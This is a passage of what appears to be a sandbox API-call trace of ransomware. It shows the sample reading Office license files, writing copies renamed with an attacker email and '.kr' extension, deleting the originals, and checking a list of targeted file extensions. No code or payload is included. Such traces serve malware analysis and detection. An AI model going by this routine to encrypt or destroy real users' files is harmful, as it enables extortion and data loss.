SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0204.628] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription3-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription3-pl.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0204.629] GetLastError () returned 0x0 [0204.629] ReadFile (in: hFile=0x3ec, lpBuffer=0x3f8e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesRead=0x33bfecc*=0x2bbb, lpOverlapped=0x0) returned 1 [0204.631] WriteFile (in: hFile=0x574, lpBuffer=0x3f8e020*, nNumberOfBytesToWrite=0x2bc0, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesWritten=0x33bfc94*=0x2bc0, lpOverlapped=0x0) returned 1 [0204.632] ReadFile (in: hFile=0x3ec, lpBuffer=0x3f8e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesRead=0x33bfecc*=0x0, lpOverlapped=0x0) returned 1 [0204.632] WriteFile (in: hFile=0x574, lpBuffer=0x3f8e020*, nNumberOfBytesToWrite=0x11c, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesWritten=0x33bfc94*=0x11c, lpOverlapped=0x0) returned 1 [0204.632] SetEndOfFile (hFile=0x574) returned 1 [0204.632] CloseHandle (hObject=0x574) returned 1 [0204.632] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0204.632] SetEndOfFile (hFile=0x3ec) returned 1 [0204.635] CloseHandle (hObject=0x3ec) returned 1 [0204.635] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription3-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0204.635] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription3-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription3-pl.xrm-ms")) returned 1 [0204.636] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription3-pl.xrm-ms") returned 86 [0204.636] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription3-pl.xrm-ms") returned 86 [0204.636] lstrlenW (lpString=".doc") returned 4 [0204.636] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0204.636] lstrlenW (lpString=".docx") returned 5 [0204.636] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0204.636] lstrlenW (lpString=".pdf") returned 4 [0204.636] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0204.636] lstrlenW (lpString=".xls") returned 4 [0204.636] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0204.636] lstrlenW (lpString=".xlsx") returned 5 [0204.636] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0204.636] lstrlenW (lpString=".ppt") returned 4 [0204.636] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0204.636] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription3-pl.xrm-ms") returned 86 [0204.636] lstrlenW (lpString=".zip") returned 4 [0204.636] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0204.636] lstrlenW (lpString=".rar") returned 4 [0204.636] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0204.636] lstrlenW (lpString=".bz2") returned 4 [0204.636] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0204.636] lstrlenW (lpString=".7z") returned 3 [0204.636] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0204.636] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription3-pl.xrm-ms") returned 86 [0204.637] lstrlenW (lpString=".dbf") returned 4 [0204.637] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0204.637] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription3-pl.xrm-ms") returned 86 [0204.637] lstrlenW (lpString=".1cd") returned 4 [0204.637] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0204.637] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription3-pl.xrm-ms") returned 86 [0204.637] lstrlenW (lpString=".jpg") returned 4 [0204.637] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0204.637] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription3-pl.xrm-ms") returned 86 [0204.637] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription3-pl.xrm-ms") returned 86 [0204.637] lstrlenW (lpString=".doc") returned 4 [0204.637] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0204.637] lstrlenW (lpString=".docx") returned 5 [0204.637] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0204.637] lstrlenW (lpString=".pdf") returned 4 [0204.637] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0204.637] lstrlenW (lpString=".xls") returned 4 [0204.637] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0204.637] lstrlenW (lpString=".xlsx") returned 5 [0204.637] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0204.637] lstrlenW (lpString=".ppt") returned 4 [0204.637] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0204.637] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription3-pl.xrm-ms") returned 86 [0204.637] lstrlenW (lpString=".zip") returned 4 [0204.637] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0204.637] lstrlenW (lpString=".rar") returned 4 [0204.637] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0204.637] lstrlenW (lpString=".bz2") returned 4 [0204.637] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0204.637] lstrlenW (lpString=".7z") returned 3 [0204.637] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0204.637] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription3-pl.xrm-ms") returned 86 [0204.637] lstrlenW (lpString=".dbf") returned 4 [0204.637] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0204.638] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription3-pl.xrm-ms") returned 86 [0204.638] lstrlenW (lpString=".1cd") returned 4 [0204.638] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0204.638] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription3-pl.xrm-ms") returned 86 [0204.638] lstrlenW (lpString=".jpg") returned 4 [0204.638] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0204.638] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0204.638] lstrlenW (lpString="O365ProPlusR_Subscription3-ppd.xrm-ms") returned 37 [0204.638] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription3-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription3-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ec [0204.639] GetFileSizeEx (in: hFile=0x3ec, lpFileSize=0x33bff14 | out: lpFileSize=0x33bff14*=28261) returned 1 [0204.639] CloseHandle (hObject=0x3ec) returned 1 [0204.639] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription3-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription3-ppd.xrm-ms")) returned 0x220 [0204.639] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription3-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription3-ppd.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0204.639] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription3-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription3-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ec [0204.639] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0204.639] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0204.639] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription3-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription3-ppd.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0204.640] GetLastError () returned 0x0 [0204.640] ReadFile (in: hFile=0x3ec, lpBuffer=0x3f8e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesRead=0x33bfecc*=0x6e65, lpOverlapped=0x0) returned 1 [0204.642] WriteFile (in: hFile=0x574, lpBuffer=0x3f8e020*, nNumberOfBytesToWrite=0x6e70, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesWritten=0x33bfc94*=0x6e70, lpOverlapped=0x0) returned 1 [0204.644] ReadFile (in: hFile=0x3ec, lpBuffer=0x3f8e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesRead=0x33bfecc*=0x0, lpOverlapped=0x0) returned 1 [0204.644] WriteFile (in: hFile=0x574, lpBuffer=0x3f8e020*, nNumberOfBytesToWrite=0x11e, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesWritten=0x33bfc94*=0x11e, lpOverlapped=0x0) returned 1 [0204.644] SetEndOfFile (hFile=0x574) returned 1 [0204.644] CloseHandle (hObject=0x574) returned 1 [0204.644] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0204.644] SetEndOfFile (hFile=0x3ec) returned 1 [0204.647] CloseHandle (hObject=0x3ec) returned 1 [0204.647] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription3-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0204.648] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription3-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription3-ppd.xrm-ms")) returned 1 [0204.648] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription3-ppd.xrm-ms") returned 87 [0204.648] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription3-ppd.xrm-ms") returned 87 [0204.648] lstrlenW (lpString=".doc") returned 4 [0204.648] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0204.648] lstrlenW (lpString=".docx") returned 5 [0204.648] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0204.648] lstrlenW (lpString=".pdf") returned 4 [0204.648] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0204.648] lstrlenW (lpString=".xls") returned 4 [0204.648] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0204.648] lstrlenW (lpString=".xlsx") returned 5 [0204.648] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0204.648] lstrlenW (lpString=".ppt") returned 4 [0204.649] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0204.649] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription3-ppd.xrm-ms") returned 87 [0204.649] lstrlenW (lpString=".zip") returned 4 [0204.649] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0204.649] lstrlenW (lpString=".rar") returned 4 [0204.649] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0204.649] lstrlenW (lpString=".bz2") returned 4 [0204.649] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0204.649] lstrlenW (lpString=".7z") returned 3 [0204.649] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0204.649] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription3-ppd.xrm-ms") returned 87 [0204.649] lstrlenW (lpString=".dbf") returned 4 [0204.649] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0204.649] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription3-ppd.xrm-ms") returned 87 [0204.649] lstrlenW (lpString=".1cd") returned 4 [0204.649] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0204.649] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription3-ppd.xrm-ms") returned 87 [0204.649] lstrlenW (lpString=".jpg") returned 4 [0204.649] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0204.649] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription3-ppd.xrm-ms") returned 87 [0204.649] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription3-ppd.xrm-ms") returned 87 [0204.649] lstrlenW (lpString=".doc") returned 4 [0204.649] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0204.649] lstrlenW (lpString=".docx") returned 5 [0204.649] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0204.649] lstrlenW (lpString=".pdf") returned 4 [0204.649] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0204.649] lstrlenW (lpString=".xls") returned 4 [0204.649] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0204.649] lstrlenW (lpString=".xlsx") returned 5 [0204.649] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0204.649] lstrlenW (lpString=".ppt") returned 4 [0204.649] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0204.650] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription3-ppd.xrm-ms") returned 87 [0204.650] lstrlenW (lpString=".zip") returned 4 [0204.650] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0204.650] lstrlenW (lpString=".rar") returned 4 [0204.650] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0204.650] lstrlenW (lpString=".bz2") returned 4 [0204.650] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0204.650] lstrlenW (lpString=".7z") returned 3 [0204.650] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0204.650] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription3-ppd.xrm-ms") returned 87 [0204.650] lstrlenW (lpString=".dbf") returned 4 [0204.650] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0204.650] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription3-ppd.xrm-ms") returned 87 [0204.650] lstrlenW (lpString=".1cd") returned 4 [0204.650] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0204.650] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription3-ppd.xrm-ms") returned 87 [0204.650] lstrlenW (lpString=".jpg") returned 4 [0204.650] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0204.650] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0204.650] lstrlenW (lpString="O365ProPlusR_Subscription3-ul-oob.xrm-ms") returned 40 [0204.650] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription3-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription3-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ec [0204.651] GetFileSizeEx (in: hFile=0x3ec, lpFileSize=0x33bff14 | out: lpFileSize=0x33bff14*=11646) returned 1 [0204.651] CloseHandle (hObject=0x3ec) returned 1 [0204.651] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription3-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription3-ul-oob.xrm-ms")) returned 0x220 [0204.651] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription3-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription3-ul-oob.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0204.651] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription3-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription3-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ec [0204.652] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0204.652] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0204.652] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription3-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription3-ul-oob.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0204.653] GetLastError () returned 0x0 [0204.653] ReadFile (in: hFile=0x3ec, lpBuffer=0x3f8e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesRead=0x33bfecc*=0x2d7e, lpOverlapped=0x0) returned 1 [0204.966] WriteFile (in: hFile=0x574, lpBuffer=0x3f8e020*, nNumberOfBytesToWrite=0x2d80, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesWritten=0x33bfc94*=0x2d80, lpOverlapped=0x0) returned 1 [0204.967] ReadFile (in: hFile=0x3ec, lpBuffer=0x3f8e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33bfecc, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesRead=0x33bfecc*=0x0, lpOverlapped=0x0) returned 1 [0204.967] WriteFile (in: hFile=0x574, lpBuffer=0x3f8e020*, nNumberOfBytesToWrite=0x124, lpNumberOfBytesWritten=0x33bfc94, lpOverlapped=0x0 | out: lpBuffer=0x3f8e020*, lpNumberOfBytesWritten=0x33bfc94*=0x124, lpOverlapped=0x0) returned 1 [0204.967] SetEndOfFile (hFile=0x574) returned 1 [0204.968] CloseHandle (hObject=0x574) returned 1 [0204.968] SetFilePointerEx (in: hFile=0x3ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33bfec0 | out: lpNewFilePointer=0x0) returned 1 [0204.968] SetEndOfFile (hFile=0x3ec) returned 1 [0205.172] CloseHandle (hObject=0x3ec) returned 1 [0205.173] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription3-ul-oob.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0205.173] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription3-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription3-ul-oob.xrm-ms")) returned 1 [0205.173] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription3-ul-oob.xrm-ms") returned 90 [0205.173] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription3-ul-oob.xrm-ms") returned 90 [0205.174] lstrlenW (lpString=".doc") returned 4 [0205.174] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0205.174] lstrlenW (lpString=".docx") returned 5 [0205.174] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0205.174] lstrlenW (lpString=".pdf") returned 4 [0205.174] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0205.174] lstrlenW (lpString=".xls") returned 4 [0205.174] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0205.174] lstrlenW (lpString=".xlsx") returned 5 [0205.174] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0205.174] lstrlenW (lpString=".ppt") returned 4 [0205.174] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0205.174] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription3-ul-oob.xrm-ms") returned 90 [0205.174] lstrlenW (lpString=".zip") returned 4 [0205.174] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0205.174] lstrlenW (lpString=".rar") returned 4 [0205.174] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0205.174] lstrlenW (lpString=".bz2") returned 4 [0205.174] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0205.174] lstrlenW (lpString=".7z") returned 3 [0205.174] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0205.174] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription3-ul-oob.xrm-ms") returned 90 [0205.174] lstrlenW (lpString=".dbf") returned 4 [0205.174] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0205.174] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription3-ul-oob.xrm-ms") returned 90 [0205.174] lstrlenW (lpString=".1cd") returned 4 [0205.174] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0205.174] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription3-ul-oob.xrm-ms") returned 90 [0205.174] lstrlenW (lpString=".jpg") returned 4 [0205.174] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0205.175] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription3-ul-oob.xrm-ms") returned 90 [0205.175] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription3-ul-oob.xrm-ms") returned 90 [0205.175] lstrlenW (lpString=".doc") returned 4 [0205.175] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0205.175] lstrlenW (lpString=".docx") returned 5 [0205.175] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0205.175] lstrlenW (lpString=".pdf") returned 4 [0205.175] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0205.175] lstrlenW (lpString=".xls") returned 4 [0205.175] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0205.175] lstrlenW (lpString=".xlsx") returned 5 [0205.175] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0205.175] lstrlenW (lpString=".ppt") returned 4 [0205.175] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0205.175] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription3-ul-oob.xrm-ms") returned 90 [0205.175] lstrlenW (lpString=".zip") returned 4 [0205.175] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0205.175] lstrlenW (lpString=".rar") returned 4 [0205.175] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0205.175] lstrlenW (lpString=".bz2") returned 4 [0205.175] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0205.175] lstrlenW (lpString=".7z") returned 3 [0205.175] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0205.175] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription3-ul-oob.xrm-ms") returned 90 [0205.175] lstrlenW (lpString=".dbf") returned 4 [0205.175] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0205.175] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription3-ul-oob.xrm-ms") returned 90 [0205.175] lstrlenW (lpString=".1cd") returned 4 [0205.175] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0205.175] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription3-ul-oob.xrm-ms") returned 90 [0205.175] lstrlenW (lpString=".jpg") returned 4 [0205.175] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0205.176] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0205.176] lstrlenW (lpString="O365ProPlusR_SubTrial1-pl.xrm-ms") returned 32 [0205.176] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial1-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial1-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ec [0205.176] GetFileSizeEx (in: hFile=0x3ec, lpFileSize=0x33bff14 | out: lpFileSize=0x33bff14*=11179) returned 1 [0205.176] CloseHandle (hObject=0x3ec) returned 1 [0205.176] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial1-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial1-pl.xrm-ms")) returned 0x220 [0205.176] 